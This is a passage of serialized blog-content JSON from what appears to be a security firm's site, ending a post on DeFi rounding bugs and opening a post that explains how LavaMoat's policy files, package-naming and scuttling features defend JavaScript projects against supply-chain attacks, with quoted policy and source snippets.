depositInterestFactor ",{"type":24,"tag":90,"props":48788,"children":48789},{"style":120},[48790],{"type":29,"value":6966},{"type":24,"tag":90,"props":48792,"children":48793},{"style":114},[48794],{"type":29,"value":48760},{"type":24,"tag":25,"props":48796,"children":48797},{},[48798],{"type":29,"value":48799},"We also want to note some general takeaways:",{"type":24,"tag":25,"props":48801,"children":48802},{},[48803,48805,48810],{"type":29,"value":48804},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":24,"tag":842,"props":48806,"children":48807},{},[48808],{"type":29,"value":48809},"apply the state changes and check the invariant",{"type":29,"value":226},{"type":24,"tag":25,"props":48812,"children":48813},{},[48814],{"type":29,"value":48815},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":24,"tag":25,"props":48817,"children":48818},{},[48819],{"type":29,"value":48820},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":24,"tag":850,"props":48822,"children":48823},{"id":30743},[48824],{"type":29,"value":20741},{"type":24,"tag":25,"props":48826,"children":48827},{},[48828],{"type":29,"value":48829},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":24,"tag":25,"props":48831,"children":48832},{},[48833],{"type":29,"value":48834},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":24,"tag":5249,"props":48836,"children":48837},{},[48838],{"type":29,"value":5253},{"title":7,"searchDepth":200,"depth":200,"links":48840},[48841,48842,48843,48847,48848,48849],{"id":30826,"depth":200,"text":30829},{"id":47763,"depth":200,"text":47766},{"id":47882,"depth":200,"text":47885,"children":48844},[48845,48846],{"id":47893,"depth":239,"text":47896},{"id":47931,"depth":239,"text":47934},{"id":48489,"depth":200,"text":48492},{"id":48554,"depth":200,"text":48557},{"id":30743,"depth":200,"text":20741},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":48854,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":48855,"description":48856,"author":48857,"image":48858,"date":48860,"isFeatured":16,"onBlogPage":16,"body":48861,"_type":5270,"_id":52341,"_source":5272,"_file":52342,"_stem":52343,"_extension":5275},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[33014,33013],{"src":48859},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":21,"children":48862,"toc":52320},[48863,48867,48888,48893,48897,48902,48941,48947,48962,48980,48985,48990,48995,49008,49315,49341,49354,49359,49364,49378,49383,49396,49410,49641,49662,49697,49703,49708,49713,49927,49948,49954,49966,50056,50078,50114,50122,50140,50397,50423,50429,50443,50641,50660,51067,51080,51086,51105,51198,51203,51209,51222,51235,51321,51327,51339,51424,51436,51449,51455,51460,51474,51801,51806,51811,51817,51843,51898,51918,51971,51977,51982,52001,52012,52206,52212,52235,52241,52246,52259,52264,52269,52273,52278,52286,52316],{"type":24,"tag":850,"props":48864,"children":48865},{"id":20750},[48866],{"type":29,"value":20753},{"type":24,"tag":25,"props":48868,"children":48869},{},[48870,48877,48879,48886],{"type":24,"tag":69,"props":48871,"children":48874},{"href":48872,"rel":48873},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[73],[48875],{"type":29,"value":48876},"Supply chain",{"type":29,"value":48878}," attacks are becoming ",{"type":24,"tag":69,"props":48880,"children":48883},{"href":48881,"rel":48882},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[73],[48884],{"type":29,"value":48885},"increasingly popular in Web3",{"type":29,"value":48887},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":24,"tag":25,"props":48889,"children":48890},{},[48891],{"type":29,"value":48892},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":24,"tag":1019,"props":48894,"children":48895},{"id":30826},[48896],{"type":29,"value":30829},{"type":24,"tag":25,"props":48898,"children":48899},{},[48900],{"type":29,"value":48901},"It is important to note that there are three different versions of LavaMoat:",{"type":24,"tag":3100,"props":48903,"children":48904},{},[48905,48917,48929],{"type":24,"tag":3104,"props":48906,"children":48907},{},[48908,48915],{"type":24,"tag":69,"props":48909,"children":48912},{"href":48910,"rel":48911},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[73],[48913],{"type":29,"value":48914},"Lavamoat Browserify",{"type":29,"value":48916}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":24,"tag":3104,"props":48918,"children":48919},{},[48920,48927],{"type":24,"tag":69,"props":48921,"children":48924},{"href":48922,"rel":48923},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[73],[48925],{"type":29,"value":48926},"NodeJS Lavamoat",{"type":29,"value":48928}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":24,"tag":3104,"props":48930,"children":48931},{},[48932,48939],{"type":24,"tag":69,"props":48933,"children":48936},{"href":48934,"rel":48935},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[73],[48937],{"type":29,"value":48938},"Lavamoat allow-scripts",{"type":29,"value":48940}," are used to prevent malicious code execution on lifecycle scripts.",{"type":24,"tag":1019,"props":48942,"children":48944},{"id":48943},"lavamoats-security-features",[48945],{"type":29,"value":48946},"Lavamoat's Security Features",{"type":24,"tag":25,"props":48948,"children":48949},{},[48950,48952,48960],{"type":29,"value":48951},"The three most important features of Lavamoat",{"type":24,"tag":1978,"props":48953,"children":48954},{},[48955],{"type":24,"tag":69,"props":48956,"children":48958},{"href":31435,"ariaDescribedBy":48957,"dataFootnoteRef":7,"id":31437},[1985],[48959],{"type":29,"value":534},{"type":29,"value":48961}," are:",{"type":24,"tag":3207,"props":48963,"children":48964},{},[48965,48970,48975],{"type":24,"tag":3104,"props":48966,"children":48967},{},[48968],{"type":29,"value":48969},"Policy Files",{"type":24,"tag":3104,"props":48971,"children":48972},{},[48973],{"type":29,"value":48974},"NPM Anti Hijacking",{"type":24,"tag":3104,"props":48976,"children":48977},{},[48978],{"type":29,"value":48979},"Scuttling",{"type":24,"tag":25,"props":48981,"children":48982},{},[48983],{"type":29,"value":48984},"Let's go over them one by one.",{"type":24,"tag":20686,"props":48986,"children":48988},{"id":48987},"policy-files",[48989],{"type":29,"value":48969},{"type":24,"tag":25,"props":48991,"children":48992},{},[48993],{"type":29,"value":48994},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":24,"tag":25,"props":48996,"children":48997},{},[48998,49000,49007],{"type":29,"value":48999},"For example, take the ",{"type":24,"tag":69,"props":49001,"children":49004},{"href":49002,"rel":49003},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[73],[49005],{"type":29,"value":49006},"Metamask Snap policy file",{"type":29,"value":78},{"type":24,"tag":80,"props":49009,"children":49011},{"className":33176,"code":49010,"language":33178,"meta":7,"style":7}," \"@metamask/providers\": {\n \"globals\": {\n \"Event\": true,\n \"addEventListener\": true,\n \"chrome.runtime.connect\": true,\n \"console\": true,\n \"dispatchEvent\": true,\n \"document.createElement\": true,\n \"document.readyState\": true,\n \"ethereum\": \"write\",\n \"location.hostname\": true,\n \"removeEventListener\": true,\n \"web3\": true\n },\n \"packages\": {\n \"@metamask/object-multiplex\": true,\n \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[49012],{"type":24,"tag":32,"props":49013,"children":49014},{"__ignoreMap":7},[49015,49027,49042,49062,49081,49101,49121,49141,49161,49181,49202,49222,49241,49257,49264,49279,49299],{"type":24,"tag":90,"props":49016,"children":49017},{"class":92,"line":93},[49018,49023],{"type":24,"tag":90,"props":49019,"children":49020},{"style":1085},[49021],{"type":29,"value":49022}," \"@metamask/providers\"",{"type":24,"tag":90,"props":49024,"children":49025},{"style":114},[49026],{"type":29,"value":38838},{"type":24,"tag":90,"props":49028,"children":49029},{"class":92,"line":200},[49030,49034,49038],{"type":24,"tag":90,"props":49031,"children":49032},{"style":1085},[49033],{"type":29,"value":38846},{"type":24,"tag":90,"props":49035,"children":49036},{"style":136},[49037],{"type":29,"value":78},{"type":24,"tag":90,"props":49039,"children":49040},{"style":114},[49041],{"type":29,"value":269},{"type":24,"tag":90,"props":49043,"children":49044},{"class":92,"line":239},[49045,49050,49054,49058],{"type":24,"tag":90,"props":49046,"children":49047},{"style":1085},[49048],{"type":29,"value":49049}," \"Event\"",{"type":24,"tag":90,"props":49051,"children":49052},{"style":136},[49053],{"type":29,"value":78},{"type":24,"tag":90,"props":49055,"children":49056},{"style":97},[49057],{"type":29,"value":14835},{"type":24,"tag":90,"props":49059,"children":49060},{"style":114},[49061],{"type":29,"value":748},{"type":24,"tag":90,"props":49063,"children":49064},{"class":92,"line":248},[49065,49069,49073,49077],{"type":24,"tag":90,"props":49066,"children":49067},{"style":1085},[49068],{"type":29,"value":38898},{"type":24,"tag":90,"props":49070,"children":49071},{"style":136},[49072],{"type":29,"value":78},{"type":24,"tag":90,"props":49074,"children":49075},{"style":97},[49076],{"type":29,"value":14835},{"type":24,"tag":90,"props":49078,"children":49079},{"style":114},[49080],{"type":29,"value":748},{"type":24,"tag":90,"props":49082,"children":49083},{"class":92,"line":258},[49084,49089,49093,49097],{"type":24,"tag":90,"props":49085,"children":49086},{"style":1085},[49087],{"type":29,"value":49088}," \"chrome.runtime.connect\"",{"type":24,"tag":90,"props":49090,"children":49091},{"style":136},[49092],{"type":29,"value":78},{"type":24,"tag":90,"props":49094,"children":49095},{"style":97},[49096],{"type":29,"value":14835},{"type":24,"tag":90,"props":49098,"children":49099},{"style":114},[49100],{"type":29,"value":748},{"type":24,"tag":90,"props":49102,"children":49103},{"class":92,"line":272},[49104,49109,49113,49117],{"type":24,"tag":90,"props":49105,"children":49106},{"style":1085},[49107],{"type":29,"value":49108}," \"console\"",{"type":24,"tag":90,"props":49110,"children":49111},{"style":136},[49112],{"type":29,"value":78},{"type":24,"tag":90,"props":49114,"children":49115},{"style":97},[49116],{"type":29,"value":14835},{"type":24,"tag":90,"props":49118,"children":49119},{"style":114},[49120],{"type":29,"value":748},{"type":24,"tag":90,"props":49122,"children":49123},{"class":92,"line":281},[49124,49129,49133,49137],{"type":24,"tag":90,"props":49125,"children":49126},{"style":1085},[49127],{"type":29,"value":49128}," \"dispatchEvent\"",{"type":24,"tag":90,"props":49130,"children":49131},{"style":136},[49132],{"type":29,"value":78},{"type":24,"tag":90,"props":49134,"children":49135},{"style":97},[49136],{"type":29,"value":14835},{"type":24,"tag":90,"props":49138,"children":49139},{"style":114},[49140],{"type":29,"value":748},{"type":24,"tag":90,"props":49142,"children":49143},{"class":92,"line":384},[49144,49149,49153,49157],{"type":24,"tag":90,"props":49145,"children":49146},{"style":1085},[49147],{"type":29,"value":49148}," \"document.createElement\"",{"type":24,"tag":90,"props":49150,"children":49151},{"style":136},[49152],{"type":29,"value":78},{"type":24,"tag":90,"props":49154,"children":49155},{"style":97},[49156],{"type":29,"value":14835},{"type":24,"tag":90,"props":49158,"children":49159},{"style":114},[49160],{"type":29,"value":748},{"type":24,"tag":90,"props":49162,"children":49163},{"class":92,"line":420},[49164,49169,49173,49177],{"type":24,"tag":90,"props":49165,"children":49166},{"style":1085},[49167],{"type":29,"value":49168}," \"document.readyState\"",{"type":24,"tag":90,"props":49170,"children":49171},{"style":136},[49172],{"type":29,"value":78},{"type":24,"tag":90,"props":49174,"children":49175},{"style":97},[49176],{"type":29,"value":14835},{"type":24,"tag":90,"props":49178,"children":49179},{"style":114},[49180],{"type":29,"value":748},{"type":24,"tag":90,"props":49182,"children":49183},{"class":92,"line":428},[49184,49189,49193,49198],{"type":24,"tag":90,"props":49185,"children":49186},{"style":1085},[49187],{"type":29,"value":49188}," \"ethereum\"",{"type":24,"tag":90,"props":49190,"children":49191},{"style":136},[49192],{"type":29,"value":78},{"type":24,"tag":90,"props":49194,"children":49195},{"style":1085},[49196],{"type":29,"value":49197}," \"write\"",{"type":24,"tag":90,"props":49199,"children":49200},{"style":114},[49201],{"type":29,"value":748},{"type":24,"tag":90,"props":49203,"children":49204},{"class":92,"line":437},[49205,49210,49214,49218],{"type":24,"tag":90,"props":49206,"children":49207},{"style":1085},[49208],{"type":29,"value":49209}," \"location.hostname\"",{"type":24,"tag":90,"props":49211,"children":49212},{"style":136},[49213],{"type":29,"value":78},{"type":24,"tag":90,"props":49215,"children":49216},{"style":97},[49217],{"type":29,"value":14835},{"type":24,"tag":90,"props":49219,"children":49220},{"style":114},[49221],{"type":29,"value":748},{"type":24,"tag":90,"props":49223,"children":49224},{"class":92,"line":574},[49225,49229,49233,49237],{"type":24,"tag":90,"props":49226,"children":49227},{"style":1085},[49228],{"type":29,"value":38998},{"type":24,"tag":90,"props":49230,"children":49231},{"style":136},[49232],{"type":29,"value":78},{"type":24,"tag":90,"props":49234,"children":49235},{"style":97},[49236],{"type":29,"value":14835},{"type":24,"tag":90,"props":49238,"children":49239},{"style":114},[49240],{"type":29,"value":748},{"type":24,"tag":90,"props":49242,"children":49243},{"class":92,"line":606},[49244,49249,49253],{"type":24,"tag":90,"props":49245,"children":49246},{"style":1085},[49247],{"type":29,"value":49248}," \"web3\"",{"type":24,"tag":90,"props":49250,"children":49251},{"style":136},[49252],{"type":29,"value":78},{"type":24,"tag":90,"props":49254,"children":49255},{"style":97},[49256],{"type":29,"value":48371},{"type":24,"tag":90,"props":49258,"children":49259},{"class":92,"line":615},[49260],{"type":24,"tag":90,"props":49261,"children":49262},{"style":114},[49263],{"type":29,"value":39015},{"type":24,"tag":90,"props":49265,"children":49266},{"class":92,"line":623},[49267,49271,49275],{"type":24,"tag":90,"props":49268,"children":49269},{"style":1085},[49270],{"type":29,"value":39023},{"type":24,"tag":90,"props":49272,"children":49273},{"style":136},[49274],{"type":29,"value":78},{"type":24,"tag":90,"props":49276,"children":49277},{"style":114},[49278],{"type":29,"value":269},{"type":24,"tag":90,"props":49280,"children":49281},{"class":92,"line":632},[49282,49287,49291,49295],{"type":24,"tag":90,"props":49283,"children":49284},{"style":1085},[49285],{"type":29,"value":49286}," \"@metamask/object-multiplex\"",{"type":24,"tag":90,"props":49288,"children":49289},{"style":136},[49290],{"type":29,"value":78},{"type":24,"tag":90,"props":49292,"children":49293},{"style":97},[49294],{"type":29,"value":14835},{"type":24,"tag":90,"props":49296,"children":49297},{"style":114},[49298],{"type":29,"value":748},{"type":24,"tag":90,"props":49300,"children":49301},{"class":92,"line":669},[49302,49307,49311],{"type":24,"tag":90,"props":49303,"children":49304},{"style":1085},[49305],{"type":29,"value":49306}," \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":24,"tag":90,"props":49308,"children":49309},{"style":136},[49310],{"type":29,"value":78},{"type":24,"tag":90,"props":49312,"children":49313},{"style":97},[49314],{"type":29,"value":48371},{"type":24,"tag":25,"props":49316,"children":49317},{},[49318,49319,49324,49326,49331,49333,49339],{"type":29,"value":3131},{"type":24,"tag":32,"props":49320,"children":49322},{"className":49321},[],[49323],{"type":29,"value":39088},{"type":29,"value":49325}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":24,"tag":32,"props":49327,"children":49329},{"className":49328},[],[49330],{"type":29,"value":39096},{"type":29,"value":49332}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":24,"tag":32,"props":49334,"children":49336},{"className":49335},[],[49337],{"type":29,"value":49338},"@metamask/providers",{"type":29,"value":49340}," interacts with other packages.",{"type":24,"tag":25,"props":49342,"children":49343},{},[49344,49346,49352],{"type":29,"value":49345},"To enforce these policies, LavaMoat uses ",{"type":24,"tag":32,"props":49347,"children":49349},{"className":49348},[],[49350],{"type":29,"value":49351},"lavapack",{"type":29,"value":49353},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":24,"tag":20686,"props":49355,"children":49357},{"id":49356},"npm-anti-hijacking",[49358],{"type":29,"value":48974},{"type":24,"tag":25,"props":49360,"children":49361},{},[49362],{"type":29,"value":49363},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":24,"tag":25,"props":49365,"children":49366},{},[49367,49369,49376],{"type":29,"value":49368},"Instead, Lavamoat looks at how each package is connected by ",{"type":24,"tag":69,"props":49370,"children":49373},{"href":49371,"rel":49372},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[73],[49374],{"type":29,"value":49375},"walking the modules",{"type":29,"value":49377}," in a project's dependency tree, thus generating a unique name for each package.",{"type":24,"tag":20686,"props":49379,"children":49381},{"id":49380},"scuttling",[49382],{"type":29,"value":48979},{"type":24,"tag":25,"props":49384,"children":49385},{},[49386,49388,49394],{"type":29,"value":49387},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":24,"tag":32,"props":49389,"children":49391},{"className":49390},[],[49392],{"type":29,"value":49393},"GlobalThis",{"type":29,"value":49395}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":24,"tag":25,"props":49397,"children":49398},{},[49399,49401,49408],{"type":29,"value":49400},"For example, ",{"type":24,"tag":69,"props":49402,"children":49405},{"href":49403,"rel":49404},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[73],[49406],{"type":29,"value":49407},"here",{"type":29,"value":49409}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":24,"tag":80,"props":49411,"children":49413},{"className":33176,"code":49412,"language":33178,"meta":7,"style":7}," if (scuttleOpts.enabled) {\n if (!Array.isArray(scuttleOpts.exceptions)) {\n throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n }\n scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n }\n",[49414],{"type":24,"tag":32,"props":49415,"children":49416},{"__ignoreMap":7},[49417,49446,49496,49555,49562,49634],{"type":24,"tag":90,"props":49418,"children":49419},{"class":92,"line":93},[49420,49424,49428,49433,49437,49442],{"type":24,"tag":90,"props":49421,"children":49422},{"style":636},[49423],{"type":29,"value":639},{"type":24,"tag":90,"props":49425,"children":49426},{"style":114},[49427],{"type":29,"value":1151},{"type":24,"tag":90,"props":49429,"children":49430},{"style":136},[49431],{"type":29,"value":49432},"scuttleOpts",{"type":24,"tag":90,"props":49434,"children":49435},{"style":114},[49436],{"type":29,"value":226},{"type":24,"tag":90,"props":49438,"children":49439},{"style":136},[49440],{"type":29,"value":49441},"enabled",{"type":24,"tag":90,"props":49443,"children":49444},{"style":114},[49445],{"type":29,"value":1297},{"type":24,"tag":90,"props":49447,"children":49448},{"class":92,"line":200},[49449,49453,49457,49461,49466,49470,49475,49479,49483,49487,49492],{"type":24,"tag":90,"props":49450,"children":49451},{"style":636},[49452],{"type":29,"value":41103},{"type":24,"tag":90,"props":49454,"children":49455},{"style":114},[49456],{"type":29,"value":1151},{"type":24,"tag":90,"props":49458,"children":49459},{"style":120},[49460],{"type":29,"value":22417},{"type":24,"tag":90,"props":49462,"children":49463},{"style":136},[49464],{"type":29,"value":49465},"Array",{"type":24,"tag":90,"props":49467,"children":49468},{"style":114},[49469],{"type":29,"value":226},{"type":24,"tag":90,"props":49471,"children":49472},{"style":108},[49473],{"type":29,"value":49474},"isArray",{"type":24,"tag":90,"props":49476,"children":49477},{"style":114},[49478],{"type":29,"value":117},{"type":24,"tag":90,"props":49480,"children":49481},{"style":136},[49482],{"type":29,"value":49432},{"type":24,"tag":90,"props":49484,"children":49485},{"style":114},[49486],{"type":29,"value":226},{"type":24,"tag":90,"props":49488,"children":49489},{"style":136},[49490],{"type":29,"value":49491},"exceptions",{"type":24,"tag":90,"props":49493,"children":49494},{"style":114},[49495],{"type":29,"value":37009},{"type":24,"tag":90,"props":49497,"children":49498},{"class":92,"line":239},[49499,49504,49508,49512,49516,49521,49525,49529,49534,49538,49542,49546,49551],{"type":24,"tag":90,"props":49500,"children":49501},{"style":636},[49502],{"type":29,"value":49503}," throw",{"type":24,"tag":90,"props":49505,"children":49506},{"style":97},[49507],{"type":29,"value":33746},{"type":24,"tag":90,"props":49509,"children":49510},{"style":108},[49511],{"type":29,"value":42100},{"type":24,"tag":90,"props":49513,"children":49514},{"style":114},[49515],{"type":29,"value":117},{"type":24,"tag":90,"props":49517,"children":49518},{"style":1085},[49519],{"type":29,"value":49520},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":24,"tag":90,"props":49522,"children":49523},{"style":97},[49524],{"type":29,"value":35923},{"type":24,"tag":90,"props":49526,"children":49527},{"style":97},[49528],{"type":29,"value":33216},{"type":24,"tag":90,"props":49530,"children":49531},{"style":136},[49532],{"type":29,"value":49533}," scuttleOpts",{"type":24,"tag":90,"props":49535,"children":49536},{"style":120},[49537],{"type":29,"value":226},{"type":24,"tag":90,"props":49539,"children":49540},{"style":136},[49541],{"type":29,"value":49491},{"type":24,"tag":90,"props":49543,"children":49544},{"style":97},[49545],{"type":29,"value":35955},{"type":24,"tag":90,"props":49547,"children":49548},{"style":1085},[49549],{"type":29,"value":49550},"\"`",{"type":24,"tag":90,"props":49552,"children":49553},{"style":114},[49554],{"type":29,"value":1686},{"type":24,"tag":90,"props":49556,"children":49557},{"class":92,"line":248},[49558],{"type":24,"tag":90,"props":49559,"children":49560},{"style":114},[49561],{"type":29,"value":15030},{"type":24,"tag":90,"props":49563,"children":49564},{"class":92,"line":258},[49565,49570,49574,49579,49583,49588,49592,49597,49601,49606,49610,49614,49618,49622,49626,49630],{"type":24,"tag":90,"props":49566,"children":49567},{"style":136},[49568],{"type":29,"value":49569}," scuttleOpts",{"type":24,"tag":90,"props":49571,"children":49572},{"style":114},[49573],{"type":29,"value":226},{"type":24,"tag":90,"props":49575,"children":49576},{"style":108},[49577],{"type":29,"value":49578},"scuttlerFunc",{"type":24,"tag":90,"props":49580,"children":49581},{"style":114},[49582],{"type":29,"value":117},{"type":24,"tag":90,"props":49584,"children":49585},{"style":136},[49586],{"type":29,"value":49587},"globalRef",{"type":24,"tag":90,"props":49589,"children":49590},{"style":114},[49591],{"type":29,"value":133},{"type":24,"tag":90,"props":49593,"children":49594},{"style":136},[49595],{"type":29,"value":49596},"realm",{"type":24,"tag":90,"props":49598,"children":49599},{"style":97},[49600],{"type":29,"value":29562},{"type":24,"tag":90,"props":49602,"children":49603},{"style":108},[49604],{"type":29,"value":49605}," performScuttleGlobalThis",{"type":24,"tag":90,"props":49607,"children":49608},{"style":114},[49609],{"type":29,"value":117},{"type":24,"tag":90,"props":49611,"children":49612},{"style":136},[49613],{"type":29,"value":49596},{"type":24,"tag":90,"props":49615,"children":49616},{"style":114},[49617],{"type":29,"value":133},{"type":24,"tag":90,"props":49619,"children":49620},{"style":136},[49621],{"type":29,"value":49432},{"type":24,"tag":90,"props":49623,"children":49624},{"style":114},[49625],{"type":29,"value":226},{"type":24,"tag":90,"props":49627,"children":49628},{"style":136},[49629],{"type":29,"value":49491},{"type":24,"tag":90,"props":49631,"children":49632},{"style":114},[49633],{"type":29,"value":21507},{"type":24,"tag":90,"props":49635,"children":49636},{"class":92,"line":272},[49637],{"type":24,"tag":90,"props":49638,"children":49639},{"style":114},[49640],{"type":29,"value":612},{"type":24,"tag":25,"props":49642,"children":49643},{},[49644,49646,49652,49654,49660],{"type":29,"value":49645},"Subsequently, the code defines a ",{"type":24,"tag":69,"props":49647,"children":49650},{"href":49648,"rel":49649},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[73],[49651],{"type":29,"value":33190},{"type":29,"value":49653}," called ",{"type":24,"tag":32,"props":49655,"children":49657},{"className":49656},[],[49658],{"type":29,"value":49659},"generateScuttleOpts",{"type":29,"value":49661}," that creates and returns an options object.",{"type":24,"tag":25,"props":49663,"children":49664},{},[49665,49667,49673,49674,49680,49682,49687,49689,49695],{"type":29,"value":49666},"Finally, the ",{"type":24,"tag":32,"props":49668,"children":49670},{"className":49669},[],[49671],{"type":29,"value":49672},"performScuttleGlobalThis",{"type":29,"value":2877},{"type":24,"tag":69,"props":49675,"children":49678},{"href":49676,"rel":49677},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[73],[49679],{"type":29,"value":33190},{"type":29,"value":49681}," modifies the properties of the global object (",{"type":24,"tag":32,"props":49683,"children":49685},{"className":49684},[],[49686],{"type":29,"value":49587},{"type":29,"value":49688},"). It starts by creating an array ",{"type":24,"tag":32,"props":49690,"children":49692},{"className":49691},[],[49693],{"type":29,"value":49694},"props",{"type":29,"value":49696},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":24,"tag":850,"props":49698,"children":49700},{"id":49699},"hacking-webpacks",[49701],{"type":29,"value":49702},"Hacking Webpacks",{"type":24,"tag":25,"props":49704,"children":49705},{},[49706],{"type":29,"value":49707},"Now let's get to the fun stuff.",{"type":24,"tag":25,"props":49709,"children":49710},{},[49711],{"type":29,"value":49712},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":24,"tag":80,"props":49714,"children":49716},{"className":33176,"code":49715,"language":33178,"meta":7,"style":7}," const filename = encodeURI(String(moduleData.file))\n let moduleWrapperSource\n if (bundleWithPrecompiledModules) {\n moduleWrapperSource = `function(){\n with (this.scopeTerminator) {\n with (this.globalThis) {\n return function() {\n 'use strict';\n // source: ${filename}\n return function (require, module, exports) {\n __MODULE_CONTENT__\n };\n };\n }\n }\n }`\n",[49717],{"type":24,"tag":32,"props":49718,"children":49719},{"__ignoreMap":7},[49720,49772,49784,49804,49821,49829,49837,49845,49853,49874,49882,49890,49898,49905,49912,49919],{"type":24,"tag":90,"props":49721,"children":49722},{"class":92,"line":93},[49723,49727,49732,49736,49741,49745,49750,49754,49759,49763,49768],{"type":24,"tag":90,"props":49724,"children":49725},{"style":97},[49726],{"type":29,"value":38004},{"type":24,"tag":90,"props":49728,"children":49729},{"style":136},[49730],{"type":29,"value":49731}," filename",{"type":24,"tag":90,"props":49733,"children":49734},{"style":120},[49735],{"type":29,"value":216},{"type":24,"tag":90,"props":49737,"children":49738},{"style":108},[49739],{"type":29,"value":49740}," encodeURI",{"type":24,"tag":90,"props":49742,"children":49743},{"style":114},[49744],{"type":29,"value":117},{"type":24,"tag":90,"props":49746,"children":49747},{"style":108},[49748],{"type":29,"value":49749},"String",{"type":24,"tag":90,"props":49751,"children":49752},{"style":114},[49753],{"type":29,"value":117},{"type":24,"tag":90,"props":49755,"children":49756},{"style":136},[49757],{"type":29,"value":49758},"moduleData",{"type":24,"tag":90,"props":49760,"children":49761},{"style":114},[49762],{"type":29,"value":226},{"type":24,"tag":90,"props":49764,"children":49765},{"style":136},[49766],{"type":29,"value":49767},"file",{"type":24,"tag":90,"props":49769,"children":49770},{"style":114},[49771],{"type":29,"value":21507},{"type":24,"tag":90,"props":49773,"children":49774},{"class":92,"line":200},[49775,49779],{"type":24,"tag":90,"props":49776,"children":49777},{"style":97},[49778],{"type":29,"value":10233},{"type":24,"tag":90,"props":49780,"children":49781},{"style":136},[49782],{"type":29,"value":49783}," moduleWrapperSource\n",{"type":24,"tag":90,"props":49785,"children":49786},{"class":92,"line":239},[49787,49791,49795,49800],{"type":24,"tag":90,"props":49788,"children":49789},{"style":636},[49790],{"type":29,"value":33207},{"type":24,"tag":90,"props":49792,"children":49793},{"style":114},[49794],{"type":29,"value":1151},{"type":24,"tag":90,"props":49796,"children":49797},{"style":136},[49798],{"type":29,"value":49799},"bundleWithPrecompiledModules",{"type":24,"tag":90,"props":49801,"children":49802},{"style":114},[49803],{"type":29,"value":1297},{"type":24,"tag":90,"props":49805,"children":49806},{"class":92,"line":248},[49807,49812,49816],{"type":24,"tag":90,"props":49808,"children":49809},{"style":136},[49810],{"type":29,"value":49811}," moduleWrapperSource",{"type":24,"tag":90,"props":49813,"children":49814},{"style":120},[49815],{"type":29,"value":216},{"type":24,"tag":90,"props":49817,"children":49818},{"style":1085},[49819],{"type":29,"value":49820}," `function(){\n",{"type":24,"tag":90,"props":49822,"children":49823},{"class":92,"line":258},[49824],{"type":24,"tag":90,"props":49825,"children":49826},{"style":1085},[49827],{"type":29,"value":49828}," with (this.scopeTerminator) {\n",{"type":24,"tag":90,"props":49830,"children":49831},{"class":92,"line":272},[49832],{"type":24,"tag":90,"props":49833,"children":49834},{"style":1085},[49835],{"type":29,"value":49836}," with (this.globalThis) {\n",{"type":24,"tag":90,"props":49838,"children":49839},{"class":92,"line":281},[49840],{"type":24,"tag":90,"props":49841,"children":49842},{"style":1085},[49843],{"type":29,"value":49844}," return function() 